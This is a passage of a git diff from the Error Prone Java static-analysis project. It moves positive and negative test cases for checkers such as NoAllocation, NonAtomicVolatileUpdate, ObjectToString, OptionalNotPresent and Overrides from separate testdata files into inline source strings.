+ @NoAllocation + public void throwStringConcatenation() { + throw new RuntimeException("a" + 5); + } + + @NoAllocation + public void throwStringConcatenation2() { + throw new RuntimeException("a" + Integer.toString(5)); + } + + @NoAllocation + public void throwStringConcatenation3() { + throw new RuntimeException("a" + getInt()); + } + + @NoAllocation + public String throwStringConvCompoundAssign(int i) { + String s = ""; + throw new RuntimeException(s += i); + } + + class IntegerException extends RuntimeException { + public IntegerException(Integer i) { + super(i.toString()); + } + } + + @NoAllocation + public String throwBoxingCompoundAssign(Integer in, int i) { + throw new IntegerException(in += i); + } + + @NoAllocation + public String throwBoxingAssign(Integer in, int i) { + throw new IntegerException(in = i); + } + + @NoAllocation + public String throwBoxingInitialization(final int i) { + throw new RuntimeException() { + Integer in = i; + }; + } + + @NoAllocation + public String throwBoxingCast(int i) { + throw new IntegerException((Integer) i); + } + + @NoAllocation + public String throwBoxingInvocation(int i) { + throw new IntegerException(i); + } + + class VarArgsException extends RuntimeException { + public VarArgsException(int... ints) { + super(Arrays.toString(ints)); + } + } + + @NoAllocation + public String throwBoxingVarArgs(int i) { + throw new VarArgsException(i, i, i, 4); + } + + @NoAllocation + public String throwBoxingUnary(Integer i) { + throw new IntegerException(i++); + } + + @NoAllocation + public void callGenericMethod() { + String foo = "foo"; + String bar = genericMethod(foo); + } + + @NoAllocation + private static T genericMethod(T value) { + return value; + } + + // All of the positive cases with @NoAllocation removed are below. + public int[] newArray(int size) { + return new int[size]; + } + + public int[] arrayInitializer(int a, int b) { + int[] array = {a, b}; + return array; + } + + public int[] returnArrayInitializer(int a, int b) { + return new int[] {a, b}; + } + + public String newString(String s) { + return new String(s); + } + + public String allocateString() { + return new String(); + } + + public String getString() { + return allocateString(); + } + + public int getInt() { + return 1; + } + + public String stringConvReturn(int i) { + return "" + i; + } + + public String stringConvAssign(int i) { + String s = "" + i; + return s; + } + + public String stringConvAssign2(int i) { + String s = ""; + s = s + i; + return s; + } + + public String stringConvAssign3(int i) { + String s = ""; + s = i + s; + return s; + } + + public String stringConvReturnMethod() { + String s = "" + getInt(); + return s; + } + + public String stringConvCompoundAssign(int i) { + String s = ""; + s += i; + return s; + } + + public String stringConvCompoundReturnMethod() { + String s = ""; + s += getInt(); + return s; + } + + public String doubleString(String s) { + return s + s; + } + + public String doubleStringCompound(String s) { + s += s; + return s; + } + + public int iteration(Iterable a) { + int result = 0; + for (Object o : a) { + result++; + } + return result; + } + + public Integer assignBox(int i) { + Integer in; + in = i; + return in; + } + + public Integer initializeBox(int i) { + Integer in = i; + return in; + } + + public Integer initializeBoxLiteral() { + Integer in = 0; + return in; + } + + public int castBox(int i) { + int in = (Integer) i; + return in; + } + + public Integer returnBox(int i) { + return i; + } + + public int unBox(Integer i) { + return i; + } + + public void callBox(int i) { + unBox(i); + } + + public int unBox2(int i1, Integer i2) { + return i2; + } + + public void callBox2(int i1, int i2) { + unBox2(i1, i2); + } + + public int unBox3(Integer i1, int i2) { + return i1; + } + + public void callBox3(int i1, int i2) { + unBox3(i1, i2); + } + + public int varArgsMethod(int a, int... b) { + return a + b[0]; + } + + public void callVarArgs0() { + varArgsMethod(0); + } + + public void callVarArgs() { + varArgsMethod(1, 2); + } + + public void callVarArgs2() { + varArgsMethod(1, 2, 3); + } + + public Object varArgsMethodObject(Object a, Object... b) { + return b[0]; + } + + public void callVarArgsObject(Object a, Object[] b) { + varArgsMethodObject(a, b[0]); + } + + public void callVarArgsObjectWithPrimitiveArray(Object a, int[] b) { + varArgsMethodObject(a, b); + } + + public int forBox(int[] a) { + int count = 0; + for (Integer i = 0; i < a.length; i++) { + count++; + } + return count; + } + + public void arrayBox(Integer[] a, int i) { + a[0] = i; + } + + public int preIncrementBox(Integer i) { + ++i; + return i; + } + + public int postIncrementBox(Integer i) { + i++; + return i; + } + + public int preDecrementBox(Integer i) { + --i; + return i; + } + + public int postDecrementBox(Integer i) { + i--; + return i; + } + + public int forEachBox(int[] a) { + int last = -1; + for (Integer i : a) { + last = i; + } + return last; + } + + public void arrayPreIncrementBox(Integer[] a) { + ++a[0]; + } + + public void arrayPostIncrementBox(Integer[] a) { + a[0]++; + } + + public void arrayPreDecrementBox(Integer[] a) { + --a[0]; + } + + public void arrayPostDecrementBox(Integer[] a) { + a[0]--; + } + + public int compoundBox(Integer a, int b) { + a += b; + return a; + } + + public void arrayCompoundBox(Integer[] a, int b) { + a[0] += b; + } + + public void andAssignmentBox(Integer i1, Integer i2) { + i1 &= i2; + } + + public void divideAssignmentBox(Integer i1, Integer i2) { + i1 /= i2; + } + + public void leftShiftAssignmentBox(Integer i1, Integer i2) { + i1 <<= i2; + } + + public void minusAssignmentBox(Integer i1, Integer i2) { + i1 -= i2; + } + + public void multiplyAssignmentBox(Integer i1, Integer i2) { + i1 *= i2; + } + + public void orAssignmentBox(Integer i1, Integer i2) { + i1 |= i2; + } + + public void plusAssignmentBox(Integer i1, Integer i2) { + i1 += i2; + } + + public void remainderAssignmentBox(Integer i1, Integer i2) { + i1 %= i2; + } + + public void rightShiftAssignmentBox(Integer i1, Integer i2) { + i1 >>= i2; + } + + public void unsignedRightShiftAssignmentBox(Integer i1, Integer i2) { + i1 >>>= i2; + } + + public void xorAssignmentBox(Integer i1, Integer i2) { + i1 ^= i2; + } + + public Object doClone() throws CloneNotSupportedException { + return clone(); + } + + @NoAllocation + public String throwForeach(final Iterable a) { + throw new RuntimeException() { + private void f() { + for (Object o : a) { + a.toString(); + } + } + }; + } + + public interface NoAllocationInterface { + @NoAllocation + void method(); + } + + public static class NoAllocationImplementingClass implements NoAllocationInterface { + @Override + @NoAllocation + public void method() {} + } + + public static class NoAllocationImplementingClassWithSuppression + implements NoAllocationInterface { + @Override + @SuppressWarnings("NoAllocation") + public void method() {} + } + + public abstract static class NoAllocationAbstractClass { + @NoAllocation + abstract void method(); + } + + public static class NoAllocationConcreteClass extends NoAllocationAbstractClass { + @Override + @NoAllocation + void method() {} + } + + public static class NoAllocationConcreteClassWithSuppression extends NoAllocationAbstractClass { + @Override + @SuppressWarnings("NoAllocation") + void method() {} + } + + public static class NoAllocationParentClass implements NoAllocationInterface { + @Override + @NoAllocation + public void method() {} + } + + public static class NoAllocationSubclass extends NoAllocationParentClass { + @Override + @NoAllocation + public void method() {} + } + + public static class NoAllocationSubclassWithSuppression extends NoAllocationParentClass { + @Override + @SuppressWarnings("NoAllocation") + public void method() {} + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/NonAtomicVolatileUpdateTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/NonAtomicVolatileUpdateTest.java index d08c9c60635..84dc6559c8d 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/NonAtomicVolatileUpdateTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/NonAtomicVolatileUpdateTest.java @@ -30,11 +30,144 @@ public class NonAtomicVolatileUpdateTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/NonAtomicVolatileUpdatePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "NonAtomicVolatileUpdatePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** Positive test cases for {@code NonAtomicVolatileUpdate} checker. */ + public class NonAtomicVolatileUpdatePositiveCases { + + private static class VolatileContainer { + public volatile int volatileInt = 0; + } + + private volatile int myVolatileInt = 0; + private VolatileContainer container = new VolatileContainer(); + + public void increment() { + // BUG: Diagnostic contains: + myVolatileInt++; + // BUG: Diagnostic contains: + ++myVolatileInt; + // BUG: Diagnostic contains: + myVolatileInt += 1; + // BUG: Diagnostic contains: + myVolatileInt = myVolatileInt + 1; + // BUG: Diagnostic contains: + myVolatileInt = 1 + myVolatileInt; + + // BUG: Diagnostic contains: + if (myVolatileInt++ == 0) { + System.out.println("argh"); + } + + // BUG: Diagnostic contains: + container.volatileInt++; + // BUG: Diagnostic contains: + ++container.volatileInt; + // BUG: Diagnostic contains: + container.volatileInt += 1; + // BUG: Diagnostic contains: + container.volatileInt = container.volatileInt + 1; + // BUG: Diagnostic contains: + container.volatileInt = 1 + container.volatileInt; + } + + public void decrement() { + // BUG: Diagnostic contains: + myVolatileInt--; + // BUG: Diagnostic contains: + --myVolatileInt; + // BUG: Diagnostic contains: + myVolatileInt -= 1; + // BUG: Diagnostic contains: + myVolatileInt = myVolatileInt - 1; + + // BUG: Diagnostic contains: + container.volatileInt--; + // BUG: Diagnostic contains: + --container.volatileInt; + // BUG: Diagnostic contains: + container.volatileInt -= 1; + // BUG: Diagnostic contains: + container.volatileInt = container.volatileInt - 1; + } + + private volatile String myVolatileString = ""; + + public void stringUpdate() { + // BUG: Diagnostic contains: + myVolatileString += "update"; + // BUG: Diagnostic contains: + myVolatileString = myVolatileString + "update"; + } + }""") + .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/NonAtomicVolatileUpdateNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "NonAtomicVolatileUpdateNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** Positive test cases for {@code NonAtomicVolatileUpdate} checker. */ + public class NonAtomicVolatileUpdateNegativeCases { + + private volatile int myVolatileInt = 0; + private int myInt = 0; + private volatile String myVolatileString = ""; + private String myString = ""; + + public void incrementNonVolatile() { + myInt++; + ++myInt; + myInt += 1; + myInt = myInt + 1; + myInt = 1 + myInt; + + myInt = myVolatileInt + 1; + myVolatileInt = myInt + 1; + + myString += "update"; + myString = myString + "update"; + } + + public void decrementNonVolatile() { + myInt--; + --myInt; + myInt -= 1; + myInt = myInt - 1; + } + + public synchronized void synchronizedIncrement() { + myVolatileInt++; + ++myVolatileInt; + myVolatileInt += 1; + myVolatileInt = myVolatileInt + 1; + myVolatileInt = 1 + myVolatileInt; + + myVolatileString += "update"; + myVolatileString = myVolatileString + "update"; + } + + public void synchronizedBlock() { + synchronized (this) { + myVolatileInt++; + ++myVolatileInt; + myVolatileInt += 1; + myVolatileInt = myVolatileInt + 1; + myVolatileInt = 1 + myVolatileInt; + + myVolatileString += "update"; + myVolatileString = myVolatileString + "update"; + } + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/NonRuntimeAnnotationTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/NonRuntimeAnnotationTest.java index 8e3078e565c..3d4857b48f6 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/NonRuntimeAnnotationTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/NonRuntimeAnnotationTest.java @@ -32,11 +32,68 @@ public class NonRuntimeAnnotationTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/NonRuntimeAnnotationPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "NonRuntimeAnnotationPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +/** + * @author scottjohnson@google.com (Scott Johnsson) + */ +@NonRuntimeAnnotationPositiveCases.NotSpecified +@NonRuntimeAnnotationPositiveCases.NonRuntime +public class NonRuntimeAnnotationPositiveCases { + + public NonRuntime testAnnotation() { + // BUG: Diagnostic contains: runtime; NonRuntime + NonRuntimeAnnotationPositiveCases.class.getAnnotation( + NonRuntimeAnnotationPositiveCases.NonRuntime.class); + // BUG: Diagnostic contains: + NonRuntimeAnnotationPositiveCases.class.getAnnotation( + NonRuntimeAnnotationPositiveCases.NotSpecified.class); + // BUG: Diagnostic contains: + return this.getClass().getAnnotation(NonRuntimeAnnotationPositiveCases.NonRuntime.class); + } + + /** Annotation that is explicitly NOT retained at runtime */ + @Retention(RetentionPolicy.SOURCE) + public @interface NonRuntime {} + + /** Annotation that is implicitly NOT retained at runtime */ + public @interface NotSpecified {} +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/NonRuntimeAnnotationNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "NonRuntimeAnnotationNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +/** + * @author scottjohnson@google.com (Scott Johnsson) + */ +@NonRuntimeAnnotationNegativeCases.Runtime +public class NonRuntimeAnnotationNegativeCases { + + public Runtime testAnnotation() { + return this.getClass().getAnnotation(NonRuntimeAnnotationNegativeCases.Runtime.class); + } + + /** Annotation that is retained at runtime */ + @Retention(RetentionPolicy.RUNTIME) + public @interface Runtime {} +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ObjectToStringTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ObjectToStringTest.java index b3a3c9f659d..a980a493305 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ObjectToStringTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ObjectToStringTest.java @@ -40,12 +40,116 @@ public class ObjectToStringTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/ObjectToStringPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ObjectToStringPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class ObjectToStringPositiveCases { + + public static final class FinalObjectClassWithoutToString {} + + public static final class FinalGenericClassWithoutToString {} + + void directToStringCalls() { + FinalObjectClassWithoutToString finalObjectClassWithoutToString = + new FinalObjectClassWithoutToString(); + // BUG: Diagnostic contains: ObjectToString + System.out.println(finalObjectClassWithoutToString.toString()); + } + + void genericClassShowsErasure() { + FinalGenericClassWithoutToString finalGenericClassWithoutToString = + new FinalGenericClassWithoutToString<>(); + // BUG: Diagnostic contains: `FinalGenericClassWithoutToString@ + System.out.println(finalGenericClassWithoutToString.toString()); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ObjectToStringNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ObjectToStringNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import org.joda.time.Duration; + +/** + * @author bhagwani@google.com (Sumit Bhagwani) + */ +public class ObjectToStringNegativeCases { + + public static final class FinalObjectClassWithoutToString {} + + public static class NonFinalObjectClassWithoutToString {} + + public static final class FinalObjectClassWithToString { + + @Override + public String toString() { + return "hakuna"; + } + } + + public static class NonFinalObjectClassWithToString { + + @Override + public String toString() { + return "matata"; + } + } + + public void log(Object o) { + System.out.println(o.toString()); + } + + void directToStringCalls() { + NonFinalObjectClassWithoutToString nonFinalObjectClassWithoutToString = + new NonFinalObjectClassWithoutToString(); + System.out.println(nonFinalObjectClassWithoutToString.toString()); + + FinalObjectClassWithToString finalObjectClassWithToString = new FinalObjectClassWithToString(); + System.out.println(finalObjectClassWithToString.toString()); + + NonFinalObjectClassWithToString nonFinalObjectClassWithToString = + new NonFinalObjectClassWithToString(); + System.out.println(nonFinalObjectClassWithToString.toString()); + } + + void callsTologMethod() { + FinalObjectClassWithoutToString finalObjectClassWithoutToString = + new FinalObjectClassWithoutToString(); + log(finalObjectClassWithoutToString); + + NonFinalObjectClassWithoutToString nonFinalObjectClassWithoutToString = + new NonFinalObjectClassWithoutToString(); + log(nonFinalObjectClassWithoutToString); + + FinalObjectClassWithToString finalObjectClassWithToString = new FinalObjectClassWithToString(); + log(finalObjectClassWithToString); + + NonFinalObjectClassWithToString nonFinalObjectClassWithToString = + new NonFinalObjectClassWithToString(); + log(nonFinalObjectClassWithToString); + } + + public void overridePresentInAbstractClassInHierarchy(Duration durationArg) { + String unusedString = Duration.standardSeconds(86400).toString(); + System.out.println("test joda string " + Duration.standardSeconds(86400)); + + unusedString = durationArg.toString(); + System.out.println("test joda string " + durationArg); + } +}""") + .doTest(); } /** A class that will be missing at compile-time for {@link #testIncompleteClasspath}. */ diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/OptionalNotPresentTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/OptionalNotPresentTest.java index 170c631efa7..b5930f6f9d3 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/OptionalNotPresentTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/OptionalNotPresentTest.java @@ -31,12 +31,173 @@ public class OptionalNotPresentTest { @Test public void negativeCases() { - compilationTestHelper.addSourceFile("testdata/OptionalNotPresentNegativeCases.java").doTest(); + compilationTestHelper + .addSourceLines( + "OptionalNotPresentNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Optional; + import java.util.function.Predicate; + + /** Includes true-negative cases and false-positive cases. */ + public class OptionalNotPresentNegativeCases { + + // Test this doesn't trigger NullPointerException + private final Predicate> asField = o -> !o.isPresent(); + + // False-positive + public String getWhenTestedSafe_referenceEquality(Optional optional) { + if (!optional.isPresent()) { + if (optional == Optional.of("OK")) { // always false + // BUG: Diagnostic contains: Optional + return optional.get(); + } + } + return ""; + } + + // False-positive + public String getWhenTestedSafe_equals(Optional optional) { + if (!optional.isPresent()) { + if (optional.equals(Optional.of("OK"))) { // always false + // BUG: Diagnostic contains: Optional + return optional.get(); + } + } + return ""; + } + + public String getWhenPresent_blockReassigned(Optional optional) { + if (!optional.isPresent()) { + optional = Optional.of("value"); + return optional.get(); + } + return ""; + } + + public String getWhenPresent_localReassigned(Optional optional) { + if (!optional.isPresent()) { + optional = Optional.of("value"); + } + return optional.get(); + } + + public String getWhenPresent_nestedCheck(Optional optional) { + if (!optional.isPresent() || true) { + return optional.isPresent() ? optional.get() : ""; + } + return ""; + } + }""") + .doTest(); } @Test public void positiveCases() { - compilationTestHelper.addSourceFile("testdata/OptionalNotPresentPositiveCases.java").doTest(); + compilationTestHelper + .addSourceLines( + "OptionalNotPresentPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Optional; + + /** Includes true-positive and false-negative cases. */ + public class OptionalNotPresentPositiveCases { + + // False-negative + public String getWhenUnknown(Optional optional) { + return optional.get(); + } + + // False-negative + public String getWhenUnknown_testNull(Optional optional) { + if (optional.get() != null) { + return optional.get(); + } + return ""; + } + + // False-negative + public String getWhenAbsent_testAndNestUnrelated(Optional optional) { + if (true) { + String str = optional.get(); + if (!optional.isPresent()) { + return ""; + } + return str; + } + return ""; + } + + public String getWhenAbsent(Optional testStr) { + if (!testStr.isPresent()) { + // BUG: Diagnostic contains: Optional + return testStr.get(); + } + return ""; + } + + public String getWhenAbsent_multipleStatements(Optional optional) { + if (!optional.isPresent()) { + String test = "test"; + // BUG: Diagnostic contains: Optional + return test + optional.get(); + } + return ""; + } + + // False-negative + public String getWhenAbsent_nestedCheck(Optional optional) { + if (!optional.isPresent() || true) { + return !optional.isPresent() ? optional.get() : ""; + } + return ""; + } + + public String getWhenAbsent_compoundIf_false(Optional optional) { + if (!optional.isPresent() && true) { + // BUG: Diagnostic contains: Optional + return optional.get(); + } + return ""; + } + + // False-negative + public String getWhenAbsent_compoundIf_true(Optional optional) { + if (!optional.isPresent() || true) { + return optional.get(); + } + return ""; + } + + public String getWhenAbsent_elseClause(Optional optional) { + if (optional.isPresent()) { + return optional.get(); + } else { + // BUG: Diagnostic contains: Optional + return optional.get(); + } + } + + // False-negative + public String getWhenAbsent_localReassigned(Optional optional) { + if (!optional.isPresent()) { + optional = Optional.empty(); + } + return optional.get(); + } + + // False-negative + public String getWhenAbsent_methodScoped(Optional optional) { + if (optional.isPresent()) { + return ""; + } + return optional.get(); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/OverrideThrowableToStringTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/OverrideThrowableToStringTest.java index b6a89471464..20dd1e403f5 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/OverrideThrowableToStringTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/OverrideThrowableToStringTest.java @@ -33,22 +33,176 @@ public class OverrideThrowableToStringTest { @Test public void positiveCases() { compilationHelper - .addSourceFile("testdata/OverrideThrowableToStringPositiveCases.java") + .addSourceLines( + "OverrideThrowableToStringPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author mariasam@google.com (Maria Sam) + */ + class OverrideThrowableToStringPositiveCases { + + class BasicTest extends Throwable { + + @Override + // BUG: Diagnostic contains: override + public String toString() { + return ""; + } + } + + class MultipleMethods extends Throwable { + + public MultipleMethods() { + ; + } + + @Override + // BUG: Diagnostic contains: override + public String toString() { + return ""; + } + } + + class NoOverride extends Throwable { + + // BUG: Diagnostic contains: override + public String toString() { + return ""; + } + } + }""") .doTest(); } @Test public void negativeCases() { compilationHelper - .addSourceFile("testdata/OverrideThrowableToStringNegativeCases.java") + .addSourceLines( + "OverrideThrowableToStringNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author mariasam@google.com (Maria Sam) + */ + public class OverrideThrowableToStringNegativeCases { + + class BasicTest extends Throwable {} + + class OtherToString { + public String toString() { + return ""; + } + } + + class NoToString extends Throwable { + public void test() { + System.out.println("test"); + } + } + + class GetMessage extends Throwable { + public String getMessage() { + return ""; + } + } + + class OverridesBoth extends Throwable { + public String toString() { + return ""; + } + + public String getMessage() { + return ""; + } + } + }""") .doTest(); } @Test public void fixes() { BugCheckerRefactoringTestHelper.newInstance(OverrideThrowableToString.class, getClass()) - .addInput("testdata/OverrideThrowableToStringPositiveCases.java") - .addOutput("testdata/OverrideThrowableToStringPositiveCases_expected.java") + .addInputLines( + "OverrideThrowableToStringPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author mariasam@google.com (Maria Sam) + */ + class OverrideThrowableToStringPositiveCases { + + class BasicTest extends Throwable { + + @Override + // BUG: Diagnostic contains: override + public String toString() { + return ""; + } + } + + class MultipleMethods extends Throwable { + + public MultipleMethods() { + ; + } + + @Override + // BUG: Diagnostic contains: override + public String toString() { + return ""; + } + } + + class NoOverride extends Throwable { + + // BUG: Diagnostic contains: override + public String toString() { + return ""; + } + } + }""") + .addOutputLines( + "OverrideThrowableToStringPositiveCases_expected.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author mariasam@google.com (Maria Sam) + */ + class OverrideThrowableToStringPositiveCases { + + // BUG: Diagnostic contains: override + class BasicTest extends Throwable { + + @Override + public String getMessage() { + return ""; + } + } + + class MultipleMethods extends Throwable { + + public MultipleMethods() { + ; + } + + @Override + public String getMessage() { + return ""; + } + } + + class NoOverride extends Throwable { + + public String getMessage() { + return ""; + } + } + }""") .doTest(TestMode.AST_MATCH); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/OverridesTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/OverridesTest.java index 5dc1a4eb1aa..c077fa07b61 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/OverridesTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/OverridesTest.java @@ -31,41 +31,406 @@ public class OverridesTest { @Test public void positiveCase1() { - compilationHelper.addSourceFile("testdata/OverridesPositiveCase1.java").doTest(); + compilationHelper + .addSourceLines( + "OverridesPositiveCase1.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * This tests that the a bug is reported when a method override changes the type of a parameter from + * varargs to array, or array to varargs. It also ensures that the implementation can handles cases + * with multiple parameters, and whitespaces between the square brackets for array types. + * + * @author cushon@google.com (Liam Miller-Cushon) + */ +public class OverridesPositiveCase1 { + abstract class Base { + abstract void varargsMethod(Object... xs); + + abstract void arrayMethod(int x, Object[] xs); + } + + abstract class Child1 extends Base { + @Override + // BUG: Diagnostic contains: abstract void arrayMethod(int x, Object[] newNames); + abstract void arrayMethod(int x, Object... newNames); + } + + abstract class Child2 extends Base { + @Override + // BUG: Diagnostic contains: abstract void varargsMethod(Object... xs); + abstract void varargsMethod(Object[] xs); + } + + abstract class Child3 extends Base { + @Override + // BUG: Diagnostic contains: abstract void varargsMethod(Object... xs); + abstract void varargsMethod(Object[] xs); + } + + abstract class Child4 extends Base { + @Override + // BUG: Diagnostic contains: abstract void varargsMethod(Object... xs); + abstract void varargsMethod(Object[] xs); + } + + abstract class Child5 extends Base { + @Override + // BUG: Diagnostic contains: Varargs + abstract void varargsMethod(Object[ /**/] xs); + } + + interface Interface { + void varargsMethod(Object... xs); + + void arrayMethod(Object[] xs); + } + + abstract class ImplementsInterface implements Interface { + @Override + // BUG: Diagnostic contains: + public abstract void varargsMethod(Object[] xs); + + @Override + // BUG: Diagnostic contains: + public abstract void arrayMethod(Object... xs); + } + + abstract class MyBase { + abstract void f(Object... xs); + + abstract void g(Object[] xs); + } + + interface MyInterface { + void f(Object[] xs); + + void g(Object... xs); + } + + abstract class ImplementsAndExtends extends MyBase implements MyInterface { + // BUG: Diagnostic contains: + public abstract void f(Object... xs); + // BUG: Diagnostic contains: + public abstract void g(Object[] xs); + } + + abstract class ImplementsAndExtends2 extends MyBase implements MyInterface { + // BUG: Diagnostic contains: + public abstract void f(Object[] xs); + // BUG: Diagnostic contains: + public abstract void g(Object... xs); + } +}""") + .doTest(); } @Test public void positiveCase2() { - compilationHelper.addSourceFile("testdata/OverridesPositiveCase2.java").doTest(); + compilationHelper + .addSourceLines( + "OverridesPositiveCase2.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * This tests the case where there is a chain of method overrides where the varargs constraint is + * not met, and the root is a varargs parameter. TODO(cushon): The original implementation tried to + * be clever and make this consistent, but didn't handle multiple interface inheritance. + * + * @author cushon@google.com (Liam Miller-Cushon) + */ +public class OverridesPositiveCase2 { + abstract class Base { + abstract void varargsMethod(Object... xs); + } + + abstract class SubOne extends Base { + @Override + // BUG: Diagnostic contains: + abstract void varargsMethod(Object[] newNames); + } + + abstract class SubTwo extends SubOne { + @Override + // BUG: Diagnostic contains: + abstract void varargsMethod(Object... xs); + } + + abstract class SubThree extends SubTwo { + @Override + // BUG: Diagnostic contains: + abstract void varargsMethod(Object[] newNames); + } +}""") + .doTest(); } @Test public void positiveCase3() { - compilationHelper.addSourceFile("testdata/OverridesPositiveCase3.java").doTest(); + compilationHelper + .addSourceLines( + "OverridesPositiveCase3.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * This tests the case where there is a chain of method overrides where the varargs constraint is + * not met, and the root has an array parameter. TODO(cushon): The original implementation tried to + * be clever and make this consistent, but didn't handle multiple interface inheritance. + * + * @author cushon@google.com (Liam Miller-Cushon) + */ +public class OverridesPositiveCase3 { + abstract class Base { + abstract void arrayMethod(Object[] xs); + } + + abstract class SubOne extends Base { + @Override + // BUG: Diagnostic contains: + abstract void arrayMethod(Object... newNames); + } + + abstract class SubTwo extends SubOne { + @Override + // BUG: Diagnostic contains: + abstract void arrayMethod(Object[] xs); + } + + abstract class SubThree extends SubTwo { + @Override + // BUG: Diagnostic contains: + abstract void arrayMethod(Object... newNames); + } +}""") + .doTest(); } @Test public void positiveCase4() { - compilationHelper.addSourceFile("testdata/OverridesPositiveCase4.java").doTest(); + compilationHelper + .addSourceLines( + "OverridesPositiveCase4.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.Map; + +/** + * Test that the suggested fix is correct in the presence of whitespace, comments. + * + * @author cushon@google.com (Liam Miller-Cushon) + */ +public class OverridesPositiveCase4 { + + @interface Note { } + + abstract class Base { + abstract void varargsMethod(@Note final Map... xs); + abstract void arrayMethod(@Note final Map[] xs); + } + + abstract class Child1 extends Base { + @Override + // BUG: Diagnostic contains: (@Note final Map /* asd */ [] /* dsa */ xs); + abstract void arrayMethod(@Note final Map /* asd */ ... /* dsa */ xs); + } + + abstract class Child2 extends Base { + @Override + //TODO(cushon): improve testing infrastructure so we can enforce that no fix is suggested. + // BUG: Diagnostic contains: Varargs + abstract void varargsMethod(@Note final Map /*dsa*/ [ /* [ */ ] /* dsa */ xs); + } +}""") + .doTest(); } @Test public void positiveCase5() { - compilationHelper.addSourceFile("testdata/OverridesPositiveCase5.java").doTest(); + compilationHelper + .addSourceLines( + "OverridesPositiveCase5.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * @author cushon@google.com (Liam Miller-Cushon) + */ +public class OverridesPositiveCase5 { + + abstract class Base { + abstract void varargsMethod(Object[] xs, Object... ys); + + abstract void arrayMethod(Object[] xs, Object[] ys); + } + + abstract class Child1 extends Base { + @Override + // BUG: Diagnostic contains: Did you mean 'abstract void arrayMethod(Object[] xs, Object[] ys);' + abstract void arrayMethod(Object[] xs, Object... ys); + + @Override + // BUG: Diagnostic contains: Did you mean 'abstract void varargsMethod(Object[] xs, Object... + // ys);' + abstract void varargsMethod(Object[] xs, Object[] ys); + + void foo(Base base) { + base.varargsMethod(null, new Object[] {}, new Object[] {}, new Object[] {}, new Object[] {}); + } + } +}""") + .doTest(); } @Test public void negativeCase1() { - compilationHelper.addSourceFile("testdata/OverridesNegativeCase1.java").doTest(); + compilationHelper + .addSourceLines( + "OverridesNegativeCase1.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * @author cushon@google.com (Liam Miller-Cushon) + */ +public class OverridesNegativeCase1 { + abstract class Base { + abstract void varargsMethod(Object... xs); + + abstract void arrayMethod(Object[] xs); + } + + abstract class Child1 extends Base { + @Override + abstract void varargsMethod(final Object... newNames); + } + + abstract class Child2 extends Base { + @Override + abstract void arrayMethod(Object[] xs); + } + + static class StaticClass { + static void staticVarargsMethod(Object... xs) {} + + static void staticArrayMethod(Object[] xs) {} + } + + interface Interface { + void varargsMethod(Object... xs); + + void arrayMethod(Object[] xs); + } + + abstract class ImplementsInterface implements Interface { + public abstract void varargsMethod(Object... xs); + + public abstract void arrayMethod(Object[] xs); + } +} + +// Varargs methods might end up overriding synthetic (e.g. bridge) methods, which will have already +// been lowered into a non-varargs form. Test that we don't report errors when a varargs method +// overrides a synthetic non-varargs method: + +abstract class One { + static class Builder 